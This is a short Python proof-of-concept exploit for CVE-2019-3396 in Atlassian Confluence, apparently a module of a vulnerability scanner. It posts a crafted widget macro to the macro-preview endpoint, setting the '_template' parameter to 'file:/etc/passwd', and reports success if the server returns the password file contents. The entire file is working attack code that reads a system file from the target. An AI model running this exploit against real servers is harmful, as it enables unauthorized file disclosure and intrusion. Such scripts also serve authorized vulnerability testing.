import requests
import sys
from json_parse import Jsonparse



class Confluence(object):
    def __init__(self,ip,port,level):
        self.ip = ip
        self.port = port
        self.level = level
    
    def run(self):
        register_url = 'http://'+self.ip+':'+str(self.port)+"/rest/tinymce/1/macro/preview"
        headers = {
            "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0",
            "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
            "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
            "Connection": "close",
            "Referer": "http://"+self.ip+':'+str(self.port)+"/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&",
            "Content-Type": "application/json; charset=utf-8"
        }
        data = {
            "contentId":"786458",
            "macro":{"name":"widget",
            "body":"",
            "params":{"url":"https://www.viddler.com/v/23464dc6",
            "width":"1000",
            "height":"1000",
            "_template":"file:/etc/passwd"}}
            }
        try:
            req = requests.post(url = register_url, json=data, headers = headers, timeout = self.level)
            if req.status_code == 200:
                if 'root:x:0:0:root:' in req.text:
                    print("success")
                    exit(0)
            else:
                print("NO Vul, CVE-2019-3396!")
        except Exception as e:
            print (e)
            exit(-1)

if __name__ == '__main__':
    jsonfile = sys.argv[1] + '\\poc\\lib\\config.json'
    jsonobj = Jsonparse(jsonfile)
    jsondata = jsonobj.parse()
    targetip = sys.argv[2]
    timeout = jsondata['timeout3']
    port = sys.argv[3]
    obj = Confluence(targetip, port, timeout)
    obj.run()